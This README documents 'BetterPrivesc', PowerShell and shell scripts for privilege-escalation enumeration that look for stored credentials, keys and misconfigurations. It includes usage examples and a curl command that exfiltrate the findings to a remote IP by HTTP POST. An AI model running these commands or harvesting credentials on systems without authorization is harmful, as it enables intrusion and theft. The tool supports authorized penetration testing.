Minimal privilege escalation enumeration scripts for Windows and GNU/Linux. Straight-to-the-point output: only [+] (match), [!] (critical finding), and [-] (inconclusive), no banners, no fluff. English only.
Inspired by PEASS-ng (winPEAS / linPEAS). Implements the same kinds of checks with a compact, script-friendly format, optional keyword search, local log file, and optional exfil to a remote HTTP server.
- Minimal output —
[+]for findings,[!]for critical/exploitable findings,[-]for inconclusive; section headers with progress bar and step numbers - Colorized — Green (
[+]), red ([!]), yellow ([-]) in terminal (when supported) - Keyword search — Recursive search from a root path for user-defined keywords (path + content); excludes system dirs
- Log to file —
-lwrites all result output tooutput.txtin addition to the console - Exfil —
-esends the full result output to a remote HTTP server viaPOSTwith binary body tohttp://ip:port/output.txt
| Script | Environment |
|---|---|
BetterPrivesc.ps1 |
Windows, PowerShell 5.1+ |
BetterPrivesc.sh |
GNU/Linux/macOS, POSIX sh; curl for -e |
.\BetterPrivesc.ps1 [ options ]| Parameter | Alias | Description |
|---|---|---|
-FullCheck |
— | Include API/keys/tokens regex (more false positives) |
-Excel |
— | Include Excel files in credential search |
-KeywordSearch |
— | Comma-separated keywords to search under C:\ (excludes \Windows). Output: [+] fullpath:keyword |
-SearchRoot |
— | Root for keyword search (default: C:\) |
-LogFile |
-l |
Write all result output to output.txt (in addition to console) |
-Exfiltrate |
-e |
Send output to http://ip:port/output.txt via POST (binary). Value: "ip:port" |
# Default run
.\BetterPrivesc.ps1
# Keyword search for password, config, secret
.\BetterPrivesc.ps1 -KeywordSearch "password,config,secret"
# Log results to output.txt
.\BetterPrivesc.ps1 -l
# Exfil results to remote server (e.g. listener at 10.10.69.216:2121)
.\BetterPrivesc.ps1 -e "10.10.69.216:2121"
# Combine: keyword search + log + exfil
.\BetterPrivesc.ps1 -KeywordSearch "credential,backup" -l -e "10.10.69.216:2121"- System Information
- Token Privileges
- UAC & Security Policies
- Registry Security
- Credential Stores
- Windows Vault & DPAPI
- Unquoted Service Paths
- Service Binary ACLs
- DLL Hijacking
- Scheduled Tasks
- Startup & Autoruns
- Service Registry ACLs
- Network Information
- Installed Applications
- Users & Groups
- Active Directory
- Cloud Credentials
- Browser Credentials
- Interesting Files & Backups
- Sticky Notes / Cmdkey / RDP
- SMB Shares
- PowerShell History
- Processes & Named Pipes
- AppLocker & CLM
- Additional Privesc Vectors
- File Password Search
- Registry Password Search
- Keyword Search (optional, with
-KeywordSearch)
./BetterPrivesc.sh [ options ]| Option | Description |
|---|---|
-k "kw1,kw2" |
Comma-separated keywords; recursive search from root (excludes /proc, /sys, /dev, /run). Output: [+] fullpath:keyword |
-r /path |
Root for keyword search (default: /) |
-l |
Write all result output to output.txt (in addition to console) |
-e ip port |
Send output to http://ip:port/output.txt via curl -X POST --data-binary @file. Two arguments: IP then port. |
-h |
Show help and exit |
# Default run
./BetterPrivesc.sh
# Keyword search
./BetterPrivesc.sh -k "password,config,secret"
# Log to output.txt
./BetterPrivesc.sh -l
# Exfil to remote server (e.g. listener at 10.10.69.216:2121)
./BetterPrivesc.sh -e 10.10.69.216 2121
# Keyword search from /opt, log and exfil
./BetterPrivesc.sh -k "credential,backup" -r /opt -l -e 10.10.69.216 2121- System Information
- Security Modules
- Container / Virtualization
- Cloud / Metadata
- Users & Groups
- Sudo Configuration
- Available Software
- Running Processes
- Cron Jobs
- Systemd Timers & Services
- Network Information
- SUID Binaries
- SGID Binaries
- File Capabilities
- Interesting Files
- SSH Keys & Configuration
- Writable System Paths
- World-writable Files
- Passwords & Secrets
- Browser & App Credentials
- NFS Exports
- Docker / LXD / Containerd
- D-Bus Services
- Backup & History Files
- Misc Privesc Vectors
- Keyword Search (optional, with
-k)
- Sections — Box-drawn progress bar with step number, e.g.
[01/27] System Information - Findings —
[+]in green - Critical —
[!]in red (exploitable or high-risk findings) - Inconclusive —
[-]in yellow - Keyword hits —
[+] fullpath:keyword
When stdout is not a TTY (e.g. pipe or redirect), the shell script disables ANSI codes so logs stay clean.
Both scripts can send the entire result output (same text as console / output.txt) to a remote HTTP server.
- Request:
POST http://<ip>:<port>/output.txtwith the output as the binary body (e.g.Content-Type: application/octet-stream). - Windows:
-e "ip:port"(e.g.-e "10.10.69.216:2121"). - GNU/Linux:
-e ip port(e.g.-e 10.10.69.216 2121).
Your server should accept the same style of request as:
curl -X POST --data-binary @./output.txt http://10.10.69.216:2121/output.txtSo the script effectively builds the same content, then POSTs it to http://<ip>:<port>/output.txt.
- PEASS-ng — winPEAS and linPEAS for the enumeration logic and ideas.
Use at your own risk. Ensure you have authorization before running on any system.